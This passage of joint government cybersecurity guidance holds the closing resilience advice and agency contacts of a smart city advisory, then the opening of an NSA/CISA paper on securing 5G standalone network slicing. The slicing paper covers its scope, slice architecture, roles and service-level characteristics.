implementing smart city technology should create, maintain, +and test backups, both for IT system records and for manual operational capabilities for the +physical systems integrated in a smart city network. These organizations should identify how +and where data will be collected, processed, stored, and transmitted and ensure each node in +that data lifecycle is protected. System administrators should store IT backups separately and +isolate them to inhibit the spread of ransomware +many ransomware variants attempt to find +and encrypt/delete accessible backups. Isolating backups enables restoration of +systems/data to their previous state in the case of a ransomware attack. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +The organizations responsible for implementing smart city technology should have plans in +place and training for staff so operations managers can disconnect normally connected +infrastructure systems and operate manually in an +offline + mode to maintain basic service +levels. For detailed guidance, see: +Offline backups in an online world (NCSC-UK) +Conduct workforce training. +Though implementation of smart city technology may include extensive automation, +employees responsible for managing infrastructure operations should be prepared to isolate +compromised IT systems from OT and manually operate core functions if necessary. +Organizations should train new and existing employees on integrated, automated operations +as well as isolated, manual backup procedures, including processes for restoring service after +a restart. Organizations should update training regularly to account for new technologies and +components. For detailed guidance, see: +ICS Training Available Through CISA (CISA) +Develop and exercise incident response and recovery plans. +Incident response and recovery plans should include roles and responsibilities for all +stakeholders including executive leaders, technical leads, and procurement officers from +inside and outside the smart city implementation team. The organizations responsible for +implementing smart city technology should maintain up-to-date and accessible hard copies of +these plans for responders should the network be inaccessible (e.g., due to a ransomware +attack). Organizations should exercise their plans annually and coordinate with continuity +managers to ensure continuity of operations. For detailed guidance see: +Incident Response Plan Basics (CISA) +Effective steps to cyber exercise creation (NCSC-UK) +Incident Management: Be Resilient, Be Prepared (NCSC-NZ) +Preparing for and Responding to Cyber Security Incidents (ACSC) +Developing your incident response plan (CCCS) +Developing your IT recovery plan (CCCS) +Purpose +This guidance was developed by U.S., U.K., Australian, Canadian, and New Zealand +cybersecurity authorities to further their respective cybersecurity missions, including their +responsibilities to develop and issue cybersecurity specifications and mitigations. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Acknowledgements +Microsoft, IBM, and Nozomi Networks contributed to this guidance. +Disclaimer +The information in this report is provided +as is + for informational purposes only. CISA, NSA, +FBI, NCSC-UK, ACSC, CCCS, and NCSC-NZ do not endorse any commercial product or service, +including any subjects of analysis. Any reference to specific commercial products, processes, +or services by service mark, trademark, manufacturer, or otherwise does not constitute or +imply endorsement, recommendation, or favoring. +Contact Information +U.S. organizations: report incidents and anomalous activity to CISA 24/7 Operations Center at +report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office, the FBI +24/7 CyWatch at (855) 292-3937, or CyWatch@fbi.gov. When available, please include the +following information regarding the incident: date, time, and location of the incident; type of +activity; number of people affected; type of equipment used for the activity; the name of the +submitting company or organization; and a designated point of contact. United Kingdom +organizations: report a significant cyber security incident at ncsc.gov.uk/report-an-incident +(monitored 24 hours) or, for urgent assistance, call 03000 200 973. Australian organizations: +visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and +to access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at +contact@cyber.gc.ca. New Zealand organizations: report cyber security incidents to +incidents@ncsc.govt.nz or call 04 498 7654. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +5G Network Slicing: +Security Considerations +for Design, Deployment, +and Maintenance +Disclaimer +This document was written for general informational purposes only. It is intended to apply to a +variety of factual circumstances and industry stakeholders. The guidance in this document is +provided +as is + based on knowledge and recommended practices in existence at the time of +publication. Readers should confer with their respective network administrators and information +security personnel to obtain advice applicable to their individual circumstances. In no event shall +the United States Government be liable for any damages arising in any way out of the use of or +reliance on this guidance. +Reference herein to any specific commercial product, process, or service by trade name, trademark, +manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or +favoring by the United States Government, and this guidance shall not be used for advertising or +product endorsement purposes. All trademarks are the property of their respective owners. +Purpose +The National Security Agency (NSA) and the Cybersecurity and Infrastructure Security Agency +(CISA) developed this document in furtherance of their respective cybersecurity missions, +including their responsibilities to develop and issue cybersecurity specifications and mitigations. +This information may be shared broadly to reach all appropriate stakeholders. +Contact +Client Requirements / Inquiries: Enduring Security Framework nsaesf@cyber.nsa.gov +Media Inquiries / Press Desk: +o NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov +o CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov +TLP:CLEAR +Table of Contents +Intended Audience ................................................................................................................................................ 5 +Scope .......................................................................................................................................................................... 6 +Introduction ............................................................................................................................................................ 7 +PRINCIPLES AND CONCEPTS ........................................................................................................................... 9 +What is Network Slicing? ............................................................................................................................... 9 +Mobile Network Infrastructure ................................................................................................................... 9 +User Equipment ............................................................................................................................................ 9 +Transport Networks ................................................................................................................................ 10 +Radio Access Networks........................................................................................................................... 11 +5G Core Network ....................................................................................................................................... 11 +Interconnect and Roaming ......................................................................................................................... 12 +Components of a 5G Network Slice ......................................................................................................... 13 +Roles............................................................................................................................................................... 13 +5G System Components .......................................................................................................................... 13 +Network Slice Composition ................................................................................................................... 14 +Network Slice Service Level Characteristics ................................................................................... 16 +Network Slice Profile ............................................................................................................................... 17 +Network Slice Service Profile ............................................................................................................... 18 +Security Management of a Network Slice ............................................................................................. 19 +Network Slice Orchestration Frameworks........................................................................................... 20 +5G Threat Vectors .......................................................................................................................................... 20 +Goals for End-to-End Network Slicing ................................................................................................... 21 +DESIGN CRITERIA .............................................................................................................................................. 23 +Network Slice .................................................................................................................................................. 23 +Open RAN.......................................................................................................................................................... 25 +Core Networking ............................................................................................................................................ 27 +User Equipment.............................................................................................................................................. 28 +Cloud and Virtualization ............................................................................................................................. 30 +Interconnect & Roaming ............................................................................................................................. 32 +Data Networking ............................................................................................................................................ 33 +Management and Orchestration............................................................................................................... 35 +TLP:CLEAR +Network Slice Creation and Deployment.............................................................................................. 36 +OPERATIONS AND MAINTENANCE CRITERIA ....................................................................................... 39 +Introduction ..................................................................................................................................................... 39 +Definition of Operations and Maintenance .......................................................................................... 39 +Importance of Operations and Maintenance ....................................................................................... 39 +Orchestration of Network Slices .............................................................................................................. 40 +Policy Considerations .............................................................................................................................. 40 +Workflow Considerations ...................................................................................................................... 40 +Maintenance of Network Slices ................................................................................................................ 40 +Monitoring ................................................................................................................................................... 40 +Alerting ......................................................................................................................................................... 42 +Reporting ..................................................................................................................................................... 42 +Conclusion ........................................................................................................................................................ 43 +APPENDIX: Abbreviated Terms .................................................................................................................... 44 +TLP:CLEAR +FIGURES +Figure 1: RAN in a 5G System........................................................................................................................................11 +Figure 2: 5G Core Architecture Containing the NFs..............................................................................................12 +Figure 3: The Life Cycle of Service / Slice Instance Orchestration ..................................................................14 +Figure 4: Network Slice Composition ........................................................................................................................15 +Figure 5: Network Slice Model .....................................................................................................................................19 +Figure 6: End-to-End 5G Network Slicing Architecture ......................................................................................21 +Figure 7: Independent Logical Networks .................................................................................................................24 +Figure 8: O-RAN Service Management and Orchestration .................................................................................26 +Figure 9: Reference Architecture for 5G Network Interworking ....................................................................34 +TABLES +Table 1: Traffic to network slice matching schemes ............................................................................................10 +Table 2: Network Slicing Domains .............................................................................................................................15 +Table 3: An Example Service Level Characteristic Value ...................................................................................16 +Table 4: 3GPP Specified Values for 5QI = 2 .............................................................................................................17 +Table 5: Traffic to Network Slice Matching Schemes ..........................................................................................29 +Table 6: The following is an example URSP rule for enterprise traffic.........................................................30 +Table 7: Examples of Network Monitoring Activities for 5G Networks .......................................................41 +TLP:CLEAR +Executive Summary +The Enduring Security Framework1 established a working panel comprised of government and +industry experts and conducted an in-depth review of the fifth-generation technology for +broadband cellular networks standalone network slicing network architecture. This panel assessed +the security, risks, benefits, design, deployment, operations, and maintenance of a 5G standalone +network slice over two papers- Parts 1 and 2. +The working panel published in Potential Threats to 5G Network Slicing2 which identifies some 5G +network slicing threat vectors that pose significant risks to network slicing and serves as Part 1. +This document is Part 2 of the two-part series - it focuses on addressing some identified threats to +5G SA network slicing, and provides industry recognized practices for the design, deployment, +operation, and maintenance of a hardened 5G standalone network slice(s). +For the purposes of this paper, a network slice is defined as an end-to-end logical network that +provides specific network capabilities and characteristics for a user. More specifically, it is a network +architecture that allows infrastructure providers to divide their network up into several virtual +networks to satisfy different 5G use cases with varying quality of service requirements and was not +intended to be a security mechanism to isolate different 5G user sets. +Since a mobile network operator can create specific virtual networks that cater to different clients +and use cases, security is a major consideration. In a 5G infrastructure this necessitates that the +confidentiality, integrity, and availability triad of each network slice must be ensured. +This document will help foster communication amongst mobile network operators, hardware +manufacturers, software developers, non-mobile network operators, systems integrators, and +network slice customers in the hopes that it may facilitate increased resiliency and security +hardening within network slicing. +Intended Audience +It is not the goal of this document to provide an exhaustive how-to list for the design and operation +of a network slice; rather, to introduce best practices that can help mitigate threats against a 5G +network slice. The threat landscape in 5G is dynamic; due to this, advanced monitoring, auditing, +and other analytical capabilities are required to meet certain levels of network slicing service level +requirements over time. +It is assumed the audience has some familiarity with 5G networks and the overall concept of +network slicing. Readers of this document are expected to augment the information contained here +with individual studies on current best practices for designing, deploying, operating, and +maintaining a network slice. +1 The Enduring Security Framework (ESF) is a cross-sector working group that operates under the auspices of Critical Infrastructure +Partnership Advisory Council (CIPAC) to address threats and risks to the security and stability of U.S. national security systems. It is +comprised of experts from the U.S. government as well as representatives from the Information Technology, Communications, and +the Defense Industrial Base sectors. The ESF is charged with bringing together representatives from private and public sectors to +work on intelligence-driven, shared cybersecurity challenges. +2 https://media.defense.gov/2022/Dec/13/2003132073/-1/- +1/0/POTENTIAL%20THREATS%20TO%205G%20NETWORK%20SLICING_508C_FINAL.PDF +TLP:CLEAR +Scope +This document contains forward-looking statements that may change or evolve as time passes, as +the standardization of the 5G network slicing evolves. Existing 5G implementations do not fully +realize the breadth of available standards. Current and future 5G standards do not and are unlikely +to prescribe exactly how 5G standalone network slicing must or should be implemented. This will +allow for network slicing to have varying implementations between infrastructure +providers/vendors. Further discussion is needed between infrastructure providers and +current/potential customers. +While most of the 3GPP technical specifications supporting basic Network Slicing have been sorted +out, the industry is still at the +Minimum Viable Product + stage, with Mobile Network Operators +looking to commercialize slicing in their own mobile networks. GSMA is facilitating collaboration +on defining minimum standard slice templates, which will facilitate roaming. +As with most emerging technologies, with increased benefits come increased risks. This paper is +intended to introduce 5G stakeholders to the benefits associated with network slicing, provide +guidance in line with industry best practices, and present perceived risks and management +strategies which may address those risks. +As of the time of this writing, the commercial availability of standards-based 5G network slicing +within an operator +s mobile network only appears to be a reality within one year, possibly +longer. Given that 5G roaming is still in the future, the expectation is that 5G network slicing +across multiple operators + networks is as well. Work also appears to be progressing for slicing +within a data network +that is, a network external to the mobile network +however that still falls +into the +future + category. The same can be said for any network slicing seamlessly coordinated +across mobile networks and data networks. +Nonetheless, network slicing is not principally a security mechanism and cannot be relied on for +that purpose. 5G threats, which are beyond the scope of this paper, continue to apply to network +slicing. Network slicing introduces additional security concerns, where the details for many of +these are beyond the scope of this paper and should be discussed with infrastructure +providers/vendors, such as: +Inter-slice communications. +Authentication/Authorization among network slice managers, instances, and elements. +Different security protocols and policies between slices. +Denial of service, especially in one slice that affects other slices. +Exhaustion of security resources, especially in one slice that affects other slices. +Side channel attacks across slices. +User equipment connection to multiple slices. +Shared network functions, compute (hypervisor or container engine), data, and other +resources (storage, networking) across slices. +Slice separation via physical machines, virtual machines, or Linux containers. +Shared management and orchestration systems across slices. +Shared human administrators across slices. +The network slice itself and the network slice identifier transmitted by the user equipment +may represent anonymity concerns for the user and a focal point for an attacker. +TLP:CLEAR +Introduction +In a world where communications requirements seem to change as soon as specifications are +fielded, the expected high technology adoption of smart households, smart grids, and smart meters +will require a large number and high density of Internet of Things devices cellular wireless network +connectivity to be efficient and cost-effective. The best way to field such a 5G telecommunication +systems is to divide a network into slices- principally, a way to provide similar communication +services with similar network characteristics to different vertical industries.3 +A standard 5G standalone network consists of user equipment connected by an over-the-air link to +a radio access network, which then interfaces with the core network. In a 5G standalone +infrastructure, network slicing is a network architecture that enables multiplexing of independent +logical networks. The multiple logical networks may share the same physical resources +(computers, networking, network resources, management, and administrators). This sharing has +the potential to enable more efficient resource utilizations and enables cost savings with the +potential expense of lesser assurances of confidentiality, integrity, and availability triad. +A network slice provides a virtual network service that connects an application running on user +equipment, such as a cell phone or Internet of Things sensor, with applications that may be running +on other user equipment or servers that are connected to a data network. +This document assesses the current state of 5G network slicing technology, including common +industry definitions, as well as physical and logical architectural references, and provides +information necessary to understand and mitigate some potential threats to 5G network slicing. +Network slicing can help augment security of 5G systems and communications carried over 5G +networks. Logical isolation of network traffic (both control and user-planes), 5G network functions +and other compute workloads, and storage of subscriber profiles and other data could help protect +information in one slice if another slice were to be compromised. +Additional authentication and authorization, as well as specialized policies and configurations, can +be applied on a per-slice basis. Security elements, monitoring, and analytics could also be +customized per slice. Many of these concepts would help apply a Zero Trust Architecture paradigm +to the network slice itself, noting that the capabilities and options for a network slice may vary by +operator and does not address zero trust beyond the slice, e.g., in the operator +s network, external +data networks, and the application itself. +The logical isolation afforded by network slicing for network functions and more generally +compute tasks deserves additional discussion. Logical isolation, in this context, could mean +compute tasks separated in virtual machines or in containers, and those workloads may or may not +be run on the same physical machine or interconnected set of physical machines. +In the case of the same physical machine, then the workloads may share the same hypervisor and +container execution engine; in the case of separate physical machines but interconnected group of +machines, then the systems themselves share network connectivity and the workloads may share +the same orchestration system. +Taking logical isolation one step further, a specific network slice could be configured such that its +3 3GPP TS 23.501 +TLP:CLEAR +network functions and other related workloads are executed only on a dedicated set of physical +machines, which host no other compute tasks; noting, however, the isolated group of physical +machines may share network connectivity, orchestration systems, and human administrators with +other slices. +From a security perspective, network slicing is a logical part of a larger system, where security is +inherently intertwined. Network slicing provides benefits and trade-offs, from both functional and +security perspectives, that must be considered. +Existing alternatives to network slicing, depending on use case, include: + Using a custom fourth-generation technology for broadband cellular networks 4G Access +Point Name or 5G Data Network Name to logically separate some network traffic. This does +not provide all the functionality of an end-to-end network slice. + Implementing a Mobile Virtual Network Operator model which requires significant +investment in cost and time. + Deployment of a private 5G network infrastructure, which could be a private 5G nonstandalone or private 5G standalone, that could implement 5G network slices, or a +combination of both private 5G non-standalone and private 5G standalone. +TLP:CLEAR +PRINCIPLES AND CONCEPTS +What is Network Slicing? +5G network slicing is a network architecture that provides a way to divides a network to provide +independent logical networks over physical network resources and functionality. This can help +operators provide differentiated services and more quickly deploy new cases. An operator can use +network slicing to logically allocate physical resources across one or more slices, where each slice +may have a different Quality of Service (QoS) and other performance characteristics, as well as +configurations and policies, to meet a variety of use cases and possible Service Level Agreements +(SLAs). For example, a slice supporting mobile broadband users requires high data rates and +traffic volumes, a slice supporting Internet of Things devices may optimize high-density devices +and power consumption, and a slice supporting autonomous driving may provide high-reliability +and low-latency communications. +Mobile Network Infrastructure +The 5G ecosystem uses radio resources for some part of the communication between an originating +and a destination application. While there are standards defining specifications for how operators +build their 5G networks, but currently network slice specifications requirements are insufficient +and need to evolve for the development, implementation, and maintenance of security for network +slicing. +Currently network slice specifications do not get into the implementation detail level and allow for +wide ranging varying of the network slice implementations. The placement of functional +components onto a physical computing platform is a choice that may affect the level of service +provided by the network slice. Multiple functions may run on the same computing platform or may +be distributed across multiple computing platforms. +User Equipment +User Equipment (UE) consists of the Mobile Equipment (ME) and the Universal Integrated Circuit +Card (UICC), where the Universal Subscriber Identity Module (USIM) application resides. +The UICC, also referred to as Subscriber Identity Module (SIM) cards, are used to store UE-specific +credentials required for access to an operator network. The credentials are used as part of the 5G +Authentication and Key Agreement (5G-AKA) or Extensible Authentication Protocol Authentication +and Key Agreement Prime (EAP-AKA +) authentication procedures before establishing connectivity +with the operator +s 5G network. The UICC also has the capability to run network security +applications in a secure and trusted environment. +In the design of device system architecture, network slicing features require the coordination +between the upper operating system and the lower communication modem. Table 1 shows two +ways to implement network slicing features in the device system architecture: +TLP:CLEAR +Table 1: Traffic to network slice matching schemes +Scheme +Description +Modem-centric +The modem matches traffic by its attributes to a network slice. +OS-centric +The operating system matches traffic by its attributes to a network slice. +Implementation of these two schemes may include changes to the operating system and application +programming interfaces (API), respectively. The overall impact of this is determining that +the network slice termination point will be on the 5G device in one of three locations: +Modem, +Operating System, and +Application. +The UE Route Selection Policy (URSP) is a set of rules for routing application packets to the +appropriate network slice. Input to the policy includes: +Network Slice Selection Assistance Information (NSSAI), +Protocol Data Unit (PDU) session, +Session and Service Continuity (SSC) mode, and +Type of access (e.g., 3GPP or non-3GPP such as Wi-Fi4)). +The URSP rule is composed of Traffic Descriptor (TD) and Route Selection Descriptors (RSD). The +application specifies the TD and the modem uses the TD to look for a URSP rule matched to the TD. +Based on policies, the URSP rules can be updated based on network conditions (e.g., overload +conditions). +Transport Networks +Introduction +Transport networks are the connective links between the network connected elements that +implement a network slice between two elements. +Transport Networks Inside of the Mobile Operator Network +Transport networks are categorized by the types of elements that they connect. The fronthaul +network connects the radio unit to a distributed unit in the radio access network (RAN). The midhaul network connects a distributed unit to the other elements in the RAN, including the central +unit. The backhaul network transports the user plane and the control plane to the 5G core. The 5G +core network connects all NFs and repositories in the 5G core. The user plane function (UPF) +connects applications and services that are outside of the 5G system via a data network. +Transport Networks Outside of the Mobile Operator Network +To meet organizational needs, many 5G networks need to connect to data, applications, and devices +outside the 5G network boundary. These connected data networks may have wide-ranging +4 Wi-Fi + is a trademark of the Wi-Fi Alliance. +TLP:CLEAR +topologies and support a wide range of protocols at the Internet, transport, and application layers. +It is critical to mission success that network planners, implementors, and operators carefully plan +for these connections to ensure continued confidentiality, integrity, and availability of missioncritical data across a full end-to-end (E2E) connection. The N6 Reference Point demarks the +boundary between the 5G network and external data networks. +While most of this paper focuses on network slicing exclusively within the context of an operator +controlled 5G network, it is important to note that many data network protocols also support +network slicing natively + or will soon develop the ability to do so5. Even when an external +network does not support slicing natively, when properly configured and coordinated it can often +extend specified Quality of Service (QoS), and latency service levels that a 5G network slice +provides. A network slice that originates on a 5G network can be delivered across non-5G data +networks to provide E2E service; critically, this will extend the physical and logical reach of 5G +networks to connect users with needed applications and data outside the 5G boundary. With wellorchestrated internetworking, certain critical features might be supported E2E for customers. +5G interworking is rapidly evolving. Standards Development Organizations (SDOs) are rapidly +developing non-5G slicing standards and protocols (e.g., the Internet Engineering Task Force +(IETF)6)7, while those SDOs work along with 3GPP to update 5G data network interworking +standards that connect to these and other services while enabling E2E automation of service +fulfillment and service assurance. +Radio Access Networks +The RAN logically connects radio unit (RU) interfaces through distributed units (DU) and at least +one central unit (CU) and to the interface of multiple network functions in the core network. +RANs have evolved as technology has evolved. Today RANs can support multiple-input, multipleoutput (MIMO) antennas, wide spectrum bandwidths, multi-band carrier aggregation, and more. +Figure 1: RAN in a 5G System +5G Core Network +The 5G core network consists of several well-defined services called network functions. An +network function refers to either an abstract service definition or an instance of that service. An +instance of an network function may be shared by multiple network slices or may be allocated +5 See +MEF 84: Subscriber Network Slice Service and Attributes + document. +6 https://www.ietf.org/ +7 https://datatracker.ietf.org/doc/draft-ietf-teas-ietf-network-slice-framework/ +TLP:CLEAR +exclusively to one slice. +A network function instance that provides a service is referred to as the producer network function, +and an network function instance that uses a service is referred to as the consumer network +function. The implementation of a network function may be physical, virtual, or cloud native. +Network functions utilize a cloud native design to enable flexible scaling and upgrades. +The number of network function services can be scaled up or down as needed. As a result, 5G +network functions can be quickly created, deployed, and scaled, using automated life cycle +management. An example 5G core network is depicted in Figure 2. +NSSF +Nnssf +Nnef +Nnrf +Npcf +Nudm +Nudr +SEPP +Nnssaaf +Nausf +Nchf +NSSAAF +AUSF +Nanf +(R)AN +Nnsacf +Nsmf +NSACF +Nn3iw f +N3IWF +NFs used +for Slicing +Use-case +dependent +Figure 2: 5G Core Architecture Containing the NFs +The control and user plane functional separation (CUPS) architecture enhancement was introduced +in evolved packet core (EPC) and the same continues in the 5G core. This separation allows the +control plane functions to interact with multiple user plane functions and in turn provides for more +scalable deployment choices. The NFs that have been introduced by 3GPP for supporting network +slicing within the control plane are the Network Slice Selection Function (NSSF), Network Slicespecific Authentication and Authorization Function (NSSAAF), and the Network Slice Admission +Control Function (NSACF). +Interconnect and Roaming +Roaming for 5G network slicing requires several new capabilities, network slicing standards, and +business agreements to be developed. If agreements exist between service providers, then roaming +occurs when there is an interconnection between the user +s home network and another mobile +network. +Roaming between mobile network operators (MNOs) typically take place in two difference waysvia direct connections between each MNO, or via an IP Service Interconnection (IPX). An IPX +facilitates interconnection between MNOs according to agreed inter-operable service definitions +and commercial agreements. +TLP:CLEAR +The GSM Association (GSMA)8 provides technical guidance to MNOs for connecting their IP-based +networks and services together to achieve roaming and/or inter-working services between them. +Roaming services enable mobile subscribers to use services in countries or areas outside of their +home networks. Roaming is only usable in areas or countries where MNOs have signed a roaming +agreement. Connections can be established, and roaming agreements can be signed between MNOs +to ensure service continuity while roaming. Roaming agreements allow MNOs to set policies to +control network access for roaming subscribers and manage roaming services. +Components of a 5G Network Slice +Roles +5G network slices may be designed and managed by various entities. The recognized worldwide +leaders of 5G standards creation - the 3rd Generation Partnership Project (3GPP)9 and the GSMAdefine multiple roles related to network slicing, specifying them in publications 3GPP TS 28.530 +and NG.116, respectively. The roles of relevance used in this paper, in no particular order, are: +Network Operator (NOP), +Network Slice Customer (NSC), +Network Slice Provider (NSP), and +Network Slice User (NSU).10 +Depending upon the scenario(s): +Each role can be filled by one or more organizations simultaneously. +An organization can fill one or more roles simultaneously (e.g., a company can fill the NOP +and NSP roles simultaneously).11 +5G System Components +Network slicing is a crucial piece of technology that allows for the needs of each industry/or +organization to be fulfilled by having multiple logical networks to be tailored and created on top of +shared physical infrastructure: Radio Access Network (RAN), Core Network, Transport Network +(TN), and a service orchestrator. +The life-cycle management of a slice includes slice design, the virtualized network function (VNF) +on-boarding, network preparation to support the slice, slice creation and instantiation, +operationalizing, and day-to-day management of the slices including scaling in/out based on +service assurance. Service assurance is provided by constant supervision/monitoring, reporting, +and modifying the network in an automated manner. Modifications may involve configuration +changes, instantiation of networks and/or network function resources. +8 https://www.gsma.com/ +9 https://www.3gpp.org/ +10 Although this distinction is not acknowledged by 3GPP or GSMA, ESF ascertains there is a difference between a +network slice customer and a network slice user. +11 3GPP TS 28.530 +TLP:CLEAR +The implementation of a network slice consists of multiple interconnected elements across some or +all the access, core, and data network domains: +As previously mentioned, the RAN logically connects the RU interfaces through DUs and at +least one CU and to the interface of a network function in the core network. +As previously mentioned, the core network consists of several well-defined network +functions. A network function can an abstract service definition or an instance of that +service. An instance of a network function may be shared by multiple NSs or may be +allocated exclusively to one slice. +The data network (DN) is a non-5G TN that connects elements in the core network to +applications or services outside of the 5G network. +Service orchestration frameworks (Management and Network Orchestration (MANO), Open +Network Automation Platform (ONAP), etc) are popular means to provide life-cycle management of +a network slice and services. +Figure 3: The Life Cycle of Service / Slice Instance Orchestration12 +The ETSI MANO framework has been used as an example framework; however, the security +features, controls and mitigations mechanisms described in this paper are generic enough and +therefore would be applicable to any service orchestration framework. +Network Slice Composition +A network slice is composed of portions of the 5G network resources that collectively implement a +logical network. The components are selected and configured so that the network slice provides a +specified level of service. +From an application point of view, a network slice provides a connection to another application or +service. The network slice is implemented by active components in one or more access, core, and +data networks. +Each of those components is a service or function, hosted on a computing platform. Each computing +platform may be physical or virtual. Each component consumes resources and may also consume +other services. The placement of components onto computing platforms is a policy choice made to +assure a negotiated level of service. Thus, the implementation of a network slice may include many +computing platforms. +A network slice may use entirely physical resources, or it may consist of a mix of physical and +virtual resources. In 5G, network slicing allows operators to create logical data pipelines and +12 Derived from 3GPP. +TLP:CLEAR +control/management functions for each type of service, thereby assuring the requirements of each +service. +Figure 4 illustrates a sample composition of network slices. Each network slice is a logical resource +that is provisioned to deliver a level of service. The level of service delivered by a composition of +network slices is typically different from the level of service delivered by each component network +slice. That level can be higher, lower, or the same as the levels of service of each of the component +network slices. +Client +Over-the-top connection +Service +slice +slice +Access network +slice +slice +slice +slice +slice +Core network +Data network +Figure 4: Network Slice Composition +A network slice might span across multiple network domains used by an NSP (e.g., access network, +core network, and transport network) and is comprised of dedicated and/or shared resources in +terms of functionality, processing power, storage, and bandwidth. A network slice available in the +Home Public Land Mobile Network (HPLMN) to their own subscribers may also be available when +the subscriber +s UE is roaming. +A fully E2E enabled slice requires support across each of the domains shown in Table 2, not all +which support slicing at the time of this document +s publication. +Table 2: +Network Slicing Domains +Domain +RAN Slicing +Core Network +Slicing +Transport +Network Slicing +Description +The next natural step, once slicing aware Radio Resource Management policy +management and associated models get consolidated. +5GC was designed to support network slicing from the very beginning, i.e., +3GPP Rel-15. Since the 5GC is cloud-native consists of a microservice +architecture, dynamic slicing will be easier and available earlier. +Programmable service-tailored connectivity throughout the E2E data path, +across all network segments (fronthaul, midhaul, backhaul) and technology +domains (IP/ Multiprotocol Label Switching, optical, microwave). The existing +heterogeneity (in terms of resources and topology) on the transport underlay +makes TN slicing a challenge, and naturally the last part to be consolidated. +This requires the completion of Software Defined Network Controller (SDN-C) +standards and a wider adoption of SDN technology across the different +domains. +A Network Slice Selection Assistance Information (NSSAI) is used to identify a network slice +uniquely within the NOP domain. The UE subscription information can contain at least one default +TLP:CLEAR +NSSAI to be used when the UE performs initial registration. +The Access Management Function (AMF), or the NSSF of the serving Public Mobile Network +(PLMN), maps the subscribed NSSAI values from the home PLMN to the respective NSSAI values +being used in the serving PLMN. This mapping is based on PLMN policy or on agreements between +the visited and home PLMNs. +Network Slice Service Level Characteristics +Organizations like the 3GPP, GSMA, IETF, and the MEF13 have specified service level characteristics +(SLCs) that describe aspects of a provided network slice. From their documents, a working group of +government and industry experts, led by ESF, identified over 90 independent SLCs. +Service level characteristics can be used to specify service level requirements (SLRs), including +security and other, on a network slice. When applicable, additional SLCs, such as described in the +GSMA Generic Network Slice Template (NEST) document, can be used. SLCs related to QoS are +defined in the 3GPP TS 23.501 document. +Each identified SLC is described by the attributes shown in Table 3 below: +Table 3: +An Example Service Level Characteristic Value14 +Attribute +Description +Name +A meaningful alphanumeric identifier for the characteristic. +Example: packetDelayBudget +Description +A meaningful statement of the purpose and behavior of the characteristic. +Example: An upper bound in milliseconds for the time that a packet may be +delayed between the UE and the UPF that terminates the N6 interface. For a +certain 5QI, the value of the PDB is the same for uplink and downlink. +Unit of Measure +An expression that specifies a standard of measurement (UCUM). +Example: ms +Multiplicity +The possible number of values: Scalar (zero or one) or Array (zero or more). +Example: Scalar +Type +A specification of the range of possible values; Specified as either an enumerated +list, or as a simple data type (ex: Boolean, integer, float, or string). +Example: Integer +Each network slice can provide the agreed service level for specific functionality requested from +different service providers or tenants. +SLRs on a network slice specify NSC requirements. A meaningful implementation of a network slice +must be able to determine when customer's requirements are not met. Each network slice SLC is +intended to specify a metric that is measurable within a network slice implementation. +13 https://www.mef.net/ In 2015, the Metro Ethernet Forum voted to shorten its name to + to better reflect its expansion +into setting standards for network virtualization. +14 This table was developed within the Network Slice service level characteristics subgroup. +TLP:CLEAR +Each SLRs specifies a value for SLC. That value is then used to determine if the implementation +meets the SLRs. Multiple values may be specified for a SLC that is an array. +Example: An SLR on the latency between a UE and the UPF can be specified as a requirement +that the packetDelayBudget is 300 ms. +Two strategies are used to simplify the specification of SLRs: +First, there is no need to specify a SLC when any of its possible values are sufficient to meet +the customer's requirements. No implementation assumptions are to be made for service +level characteristics which are not referenced by an SLR. +Second, the remaining SLCs can be bundled into standard, or industry defined subsets called +network slice profiles (e.g., 3GPP 5G QoS Identifier (5QI)). When applicable, standardized +5QI values described there can be used. +Network Slice Profile +A network slice profile is the set of SLRs that are applicable to the constituents of a network slice. +These include both the NFs and the connecting transport networks. +An example of a network slice profile is the 5G QoS model, specified in 3GPP TS 23.501 and +shown in Table 4. The set of 5G QoS network slice characteristics are: +averagingWindow, +maximumDataBurstVolume, +packetDelayBudget, +packetErrorRate, +priorityLevel, +resourceType. +Each combination of values for these six characteristics is assigned a 5QI. Each 5QI identifier +implies the corresponding values for the six corresponding network slice characteristics. +Table 4 shows the standard values for 5QI = 2. +Table 4: +3GPP Specified Values for 5QI = 2 +Characteristic +averagingWindow +maximumDataBurstVolume +packetDelayBudget +packetErrorRate +priorityLevel +resourceType +Value +2000 +150ms +1.00E-02 +A network slice can be composed from multiple lower-level network slices. Each segment is +represented by a NetworkSliceSubnet. Regardless of how a network slice how is implemented, its +network slice profile defines the requirements that need to be met. +TLP:CLEAR +In addition to authentication and authorization measures, confidentiality requires protection of +data within a network slice both while that data is in transit or while at rest (i.e., stored in transient +or persistent storage). Transmission methods include, but are not limited to, shared memory, data +busses or networks within a computing platform, and networks between computer platforms. +Storage includes any type of persistent, or transient storage device. +Two methods used to protect against data leakage are isolation and encryption. Isolation can be +physical or virtual. Dedicated physical resources are required for physical isolation. Isolation may +be accomplished using virtual resources, such as sessions, or virtual storage with restricted access. +The level of isolation and encryption are governed by the SLRs specified for a network slice. The +implementation of the network slice is responsible for assuring that all functional components +sufficiently support the confidentiality, integrity, and availability requirements. +Availability requirements for a network slice are specified as part of its SLRs. The implementation +of the network slice is responsible for assuring that the functional components provide sufficient +capability to meet those availability requirements. The NSC can negotiate with NSPs to agree on a +service profile for each over-the-top connection. For example, a network slice service profile might +include a +missionCriticalCapabilitySupport + of +High + or an availability requirement of +High. +Network Slice Service Profile +Figure 5 shows an abstract model for slice and service profiles that is derived from 3GPP TS 28.541. +It is intended to illustrate the relationship between SLCs and SLRs to the slice and service profiles +defined by 3GPP. Requirements need to be specified by a slice profile. Slice specific requirements +will evolve over time to contain new requirements beyond those currently captured by 3GPP. +An NSP is responsible for evaluating their customer use cases to determine the set of network +slices that need to be provided. Each network slice can be characterized by the requirements that +met by the respective NSP. The NSP has an obligation to match those requirements with existing +slice profiles, such as those from GSMA. If necessary, modify or add SLRs as needed to meet the +design requirements. +As shown in Figure 5, 